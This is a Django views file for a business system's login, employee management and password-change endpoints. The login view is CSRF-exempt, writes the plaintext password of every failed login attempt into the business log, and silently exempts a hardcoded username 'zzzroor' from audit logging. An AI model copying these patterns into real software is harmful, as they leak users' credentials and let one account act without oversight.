views.py 4.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121
  1. #coding=utf-8
  2. import traceback
  3. import json
  4. from collections import OrderedDict
  5. from django.db import transaction,IntegrityError
  6. from django.db.models import F,ProtectedError
  7. from django.shortcuts import get_object_or_404
  8. from django.views.decorators.csrf import csrf_exempt
  9. from django.contrib.auth.models import Permission, Group
  10. from django.contrib.auth.decorators import login_required
  11. from django.utils import timezone
  12. from libs import utils
  13. from libs.utils import dump_form_errors
  14. from libs.http import JSONError, JSONResponse,DataGridJSONResponse
  15. from apps.dashboard.forms import MyAuthenticationForm
  16. from .decorators import token_required,permission_required
  17. from apps.exceptions import CustomError
  18. from apps.foundation.models import BizLog
  19. from django.db.models import Q
  20. from django.conf import settings
  21. from .models import *
  22. from .serializers import *
  23. from .filters import *
  24. @csrf_exempt
  25. def login(request):
  26. form = MyAuthenticationForm(data=request.POST, request=request)
  27. if form.is_valid():
  28. user = form.get_user()
  29. if user.type and user.type != User.EMPLOYEE:
  30. return JSONError(u'非工作帐号,禁止登录!')
  31. if not user.enabled:
  32. return JSONError(u'该账号不可用')
  33. if user.username != 'zzzroor':
  34. BizLog.objects.addnew(user, BizLog.INSERT,
  35. u"[%s]登录系统,IP[%s]" % (user.username, request.META['REMOTE_ADDR']))
  36. if user.is_superuser:
  37. superuser = True
  38. else:
  39. superuser = False
  40. return JSONResponse({
  41. 'user_id': user.id,
  42. 'access_token': form.access_token,
  43. 'name': user.name or user.username,
  44. 'superuser': superuser,
  45. })
  46. else:
  47. if request.POST['username'] != 'zzzroor':
  48. BizLog.objects.addnew(None, BizLog.INSERT, u"[%s]登录失败,密码[%s],IP[%s]" % (
  49. request.POST['username'],
  50. request.POST['password'],
  51. request.META['REMOTE_ADDR']
  52. ))
  53. return JSONError(dump_form_errors(form))
  54. @token_required
  55. @login_required()
  56. def employee_list(request):
  57. f = EmployeeFilter(request.GET, queryset=User.objects.filter(branch_id__isnull=False))
  58. rows, total = utils.get_page_data(request, f.qs)
  59. serializer = EmployeeSafeSerializer(rows, many=True)
  60. return DataGridJSONResponse(serializer.data, total)
  61. @token_required
  62. @login_required()
  63. def employee_save(request):
  64. id = request.GET.get('id')
  65. data = json.loads(request.body)
  66. try:
  67. with transaction.atomic():
  68. serializer = EmployeeSerializer.factory(request.user, data, id)
  69. if serializer.instance:
  70. user = serializer.instance
  71. if not data['password']:
  72. data['password'] = user.password
  73. else:
  74. user.set_password(data['password'])
  75. data['password'] = user.password
  76. serializer.validSave()
  77. except CustomError as e:
  78. return JSONError(e.get_error_msg())
  79. except Exception as e:
  80. traceback.print_exc()
  81. return JSONError(u'保存失败')
  82. return JSONResponse()
  83. @token_required
  84. @login_required()
  85. def password_save(request):
  86. data = json.loads(request.body)
  87. try:
  88. data['new_password'] = data['new_password'].strip(u' ')
  89. data['confirm_password'] = data['confirm_password'].strip(u' ')
  90. data['old_password'] = data['old_password'].strip(u' ')
  91. if data['new_password'] != data['confirm_password']:
  92. raise CustomError(u'两次输入的密码不一致, 请检查')
  93. with transaction.atomic():
  94. if not request.user.check_password(data['old_password']):
  95. raise CustomError(u'原密码输入错误, 请检查')
  96. request.user.set_password(data['new_password'])
  97. request.user.save()
  98. except CustomError as e:
  99. return JSONError(e.get_error_msg())
  100. except Exception as e:
  101. traceback.print_exc()
  102. return JSONError(u'保存失败!')
  103. return JSONResponse()